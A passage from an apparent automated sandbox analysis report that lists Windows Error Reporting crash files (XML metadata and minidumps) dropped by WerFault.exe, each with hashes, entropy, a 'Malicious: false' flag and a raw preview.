Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.2.6.7.5.4.5.4.7.5.7.7.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.4.8.1.b.c.4.e.-.9.0.c.6.-.4.c.d.b.-.9.f.f.0.-.7.1.8.1.4.e.0.2.1.a.c.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.0.0.e.f.4.f.-.f.b.f.2.-.4.6.0.4.-.8.e.4.9.-.6.6.9.c.e.b.1.d.c.7.4.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.j.z.l.l.Y.s.j.l.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.3.c.-.0.0.0.1.-.0.0.1.5.-.d.7.a.e.-.5.0.7.7.2.5.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.2.2.0.b.e.1.8.c.d.1.2.d.f.0.a.d.5.7.8.2.3.1.c.9.b.0.1.f.c.5.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.a.6.5.d.e.4.b.b.e.a.7.b.f.1.6.3.2.2.8.8.2.e.b.0.c.b.b.0.9.0.9.e.f.c.f.0.d.b.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.9././.2.2.:.1.7.:.4.0.:.4.4.!.0.!.y.j.z.l.l.Y.s.j.l.U...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER10FD.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.7044575534079325
Encrypted:	false
SSDEEP:	192:R6l7wVeJn66I9dre6Y2D6SUEVl/ggmfGUpBT89bNQsfXOvm:R6lXJ66I9o6Y3SUEVKgmfGnNjfX
MD5:	FE68921FB21F81BA85E63353E173F339
SHA1:	428880BCCEA70A9BF5449748CCD851A75B41441B
SHA-256:	E1D7B296F015A42F8D836A415D5FE4A5FF711B415559AE8933378311A2090A75
SHA-512:	DE7AE6CE78C9E77CD38DEC63C8687059D1355733BCC7D4707C8E1C15D38BED381464129A78DCDA3488DDE1F22CA99A6416BD5967B69AFCFD024217DFA253219D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER110.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.490172200774156
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYj8Ym8M4JAtFjd+q8vdEvmZltId:uIjfdI7j8Zi7VcJgdKyvmZltId
MD5:	D0E1A2143BF8CAF5889071A617591D81
SHA1:	5C8A940E51B4049DAEDD1343C3D8B82A634F462B
SHA-256:	4671EAC3B23D4341D321ACA2EEF4184C32A6107590A00D4E903C89F1670DC0C5
SHA-512:	A3F3002CEBAB34EB828482F3F9C5B91245154A5829BD8C9427F1473D170F741FFF3D984F67F70E214F3F10082D275DB035BF9D5564C59B7ACF2ACFF1D3F0E74C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER111D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.4890113955660365
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjDvYm8M4JAtFb++q8vdEvmZltId:uIjfdI7j8Zi7V8yJ/KyvmZltId
MD5:	13DF243A9E436BF617C0A743D42E8433
SHA1:	96A9643D7924276B0CC5B08329150A0AE64B801A
SHA-256:	77526C79AAF7C4D36BFD68040E452FCB987BA642AE3C19B46706A522853AEE09
SHA-512:	6810076F68D550A5375B447E622BB6CB36F0F4970BAC24AE720722F15BA3F93B225215C6634D6FCE818866584C15F9DE71CD0582D1DBAD4193FC4E000C772BF0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER134E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	90490
Entropy (8bit):	2.1658464532512696
Encrypted:	false
SSDEEP:	384:+mEqMwrHpuUl/KOIA8d/I+xKJ3trgSKHKLOjz4mDx2W0:+m3xHp3OJj8dO9z4mDxr0
MD5:	D9CBA8C6E47F0319EF36C49339FA13FC
SHA1:	73992E502315647818230758B79902F1BE06AF2D
SHA-256:	C474C208B1B4CCCEE86DA0B03C5EBB727BFB2A5AD85012BE638B5501625A7B87
SHA-512:	2D41861A3AB56F5B293F1E19F62809CFE30A555B5201818FB1957884C4022F93550311D056D59497417CED8F77065208F8C83395524DC7EF7594AB2167DB4079
Malicious:	false
Preview:	MDMP..a..... ..........f........................P...........<................=..........`.......8...........T............#...=..........T...........@...............................................................................eJ..............GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13BC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.703698365506999
Encrypted:	false
SSDEEP:	192:R6l7wVeJnh6I686Y2DfSUEVloggmfGUpBT89bKQsf0VXum:R6lXJh6I686YySUEVdgmfGnKjfsn
MD5:	50387BF4BCDBF06D9EFEDA2887A6ACD0
SHA1:	A2B06857FCE932F81358CEFB976A88CEF1CD222D
SHA-256:	18669B2AF22478EB15E11F315DA4C9D8E986F6DC1DBECCE24AA6A94A43052A78
SHA-512:	89427F44486ADF0E13E18B330391B8FE907CAC5FB828AA27ABA671E89AD3CCD5E205DD0303E9A8664C6BDE71D812C097D06371356D9B96E39F2FF5E3D6EA2B71
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER140B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.487122130228046
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjYPYm8M4JAtFT4+q8vdEvmZltId:uIjfdI7j8Zi7VFSJBKyvmZltId
MD5:	98112E3DC9AD3177901D9BCBB41229FA
SHA1:	D253BD483815A3F03D2BFA5BD21273FCA6C3EB0B
SHA-256:	37BF9A1DF25491C5C0FC3D7B3EF146591A1BB9CDA88F6B11B9C4E330CEDFA5B3
SHA-512:	42B115AC6F03FC330EE31534B22AD0A4A743DF459D731D3C9618D08AEE4DE9BA49581AC93DBE3C85397204AEBAA0AD5CD7A2F4031449316CDB046C7FB9D22573
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER168A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	114510
Entropy (8bit):	2.2601946794541115
Encrypted:	false
SSDEEP:	384:D+qc1oOOXHp9knFHDg7/KDpV18Id/XaRLo8fElvzy3rgSBH7wljmW4Hce62Wy:D+qIqXHp9knFjgbgnSCDvz2CKLcv2d
MD5:	85CA8ACFF0AE2B400ADF5EE835E1F56D
SHA1:	4CA2FBEC9A997A0969C2F8EC730D443CFF02A289
SHA-256:	D2D2DAF8433C1E5155C05B7E552EE890EA58B2B202831B66145CAE22F4481DB5
SHA-512:	72B2324EA1B08F2E1B977618C0C9C950B6B43920299AA52D578162F92C62D181A4C7C1DA63D21235073C38BDA7F16C96B1B037C455F0A71E72532D4561858819
Malicious:	false
Preview:	MDMP..a..... ..........f........................`...(.......<...............\J..........`.......8...........T............+..F........................!..............................................................................eJ......H"......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1765.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.703456482347133
Encrypted:	false
SSDEEP:	192:R6l7wVeJnu6u6Y2DgSUpVTmgmfGUpBB89bVRQsfEcPXBm:R6lXJu6u6YNSUpVSgmfGtVRjfHP8
MD5:	D4944988D6973878CCB716E45E4CE98F
SHA1:	9A553215665201F00BCF56998E0D33B61A5A2855
SHA-256:	700A4C5279A3E811121CCB4870D2DF57E8B9A97758FBDD15CB83EFA727E580E4
SHA-512:	AB735575B1687251840BA5683A8204837E56268D56864D9A4A29BADD884E8AB0E7B3A3108DDC841F1B99AB0E4AF53A41138A68C9EBC40E5586C039AE01ECE14F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1795.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.489709946911931
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjvYm8M4JAtF7YWm+q8vdEvmZltId:uIjfdI7j8Zi7VrJvWmKyvmZltId
MD5:	C7B0DE7D05CB1B2CE2FB240DE51BF14D
SHA1:	951F4F3FA221ECB47B265A3C1E294C5FDA2F6C86
SHA-256:	69889CDC9721FA27D87FB608A55D85664ADD67BCF43DF002E036787F767413DD
SHA-512:	79C870506E6344E9A53376000529ED6255F52AEBFB89319D4452D7B38C0A6B7BAC27EB77280A2D8FCCEB726D2CBA9C998F1CCC0FCD6B88C96590216D8002A7D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1BBA.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:40 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	108858
Entropy (8bit):	2.1669099162936214
Encrypted:	false
SSDEEP:	768:NWREUuHp9eU63foxYwLCTBaSDv921OnIeJ:N4xO9eU6vEHLCTYSDv92snVJ
MD5:	3D84967B45D2DE02704C35B5669923A5
SHA1:	76AA683ED99A9A742DF2B58B5C5A639DC5BDE101
SHA-256:	144B13C749B1C1ED44D6D604957C570934ECCBC73337001EE8613E11288CE531
SHA-512:	D493AB8E4253FF4ACF49E25BC18DFBF5385DE7B89F734AEB20BB2730BF21A74BA073F397F3768764C8FD0B2F738E9893FF3DDF8B9D1FD0AEC8F017FC86C3E586
Malicious:	false
Preview:	MDMP..a..... ..........f............................(.......<................J..........`.......8...........T........... ,...}..........0 ..........."..............................................................................eJ......."......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CC4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8418
Entropy (8bit):	3.7048857283321848
Encrypted:	false
SSDEEP:	192:R6l7wVeJn863Nv6Y2DdSU9EVDkgmfGUpBr89blQsfmXm:R6lXJ863Nv6YwSU9EVAgmfG/ljfH
MD5:	E1CFCC64E226D7F9B994C07B26BFA149
SHA1:	1262BD186D1E386B1BA9B5A30F40A00F6F257101
SHA-256:	05292812ED2801B9813B58BBD0F239E4CAD9B19AEA01243E3BB4127E7DE9F3E4
SHA-512:	EAF2C9C294B713588F46FBCF6AAA770AD597432CEBFE49D0AA453703A3C00CE1DE4D503CA5305A6A388F65678A69A470D66DF5AA5CD0503A87E4D354DC660841
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CE5.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.488077672339781
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9V8ZTWpW8VYjbYm8M4JAtFWp+q8vdEvmZltId:uIjfdI7j8Zi7V3JHpKyvmZltId
MD5:	29F945C5076FBBA57687685F67875E7B
SHA1:	D5FDF1F12BA244B0C03F636A70117F07E4C29FA9
SHA-256:	0B5089C27D08B03A699E05F9739C490B6BF3833ABDDA5CCE5D1CD903AAED7DF0
SHA-512:	6B52CD253050B026377BEA0BEC5498725F6D27C8BDEC1124734689CCE3E98372ECB1F5F8F30E4AFAE52AAD878AE326CE584ED56F759B76020264211B8F8512D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515495" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1EF6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 08:32:41 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	122990
Entropy (8bit):	2.2779590549872824
Encrypted:	false
SSDEEP:	384:z/UIg7/xQHp9qdTX/K4nXHbOcrlJVqgf4b/XSwHFpfEl3aoqrgSBX8FwrcLad5yK:z/9MqHp9mTPtRppkK2+39Wp4La3yJRG
MD5:	0340D2C43A07E57C78AD818591B0C06C
SHA1:	526AB0741E88F1FDF3004BF6B209AAEF45611F74
SHA-256:	99EA2392CAEB5FB910F008A74CD6D78E7D8483E437A5D44413FDFF8258427AE7
SHA-512:	3DE5117ED9D50367DEC465ABDEED1DA7B5866EBC5D6A2F69EBEB00D183211B042D972A484ABC0F4C05943C7F6D82BA1676A99FE86CDCF052F112CC5439D4B527
Malicious:	false
Preview:	MDMP..a..... ..........f............D...........8...X.......<.... ..........vN..........`.......8...........T...........(...F............ ..........."..............................................................................eJ......P#......GenuineIntel............T.......<......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1FF1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8418
Entropy (8bit):	3.7031843155612583
Encrypted:	false
SSDEEP:	192:R6l7wVeJnk6q6Y2DlSU9KVSZgmfGUpB089bcQsfTsUm:R6lXJk6q6YISU9KVMgmfGCcjfT2
MD5:	4D165D06CE2855E17B0ED3E1DF819E13
SHA1:	920A8B8FC041DD3011141D7454116FBBAF5CF4D9
SHA-256:	3E4CFC3C6342ECEFE66AC4EDA0BD3FFE1CF6441D6DE1890D3AE7EA2B58FF9E63
SHA-512:	19C59C88AC289249E09DA136F49A58AB7C22601722F598EE0F7FEEB7AA1008C2B0EFDAF1B92624325C8699FE4AB54A05E17C940E28CC426401A254FA90DCBC19
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. 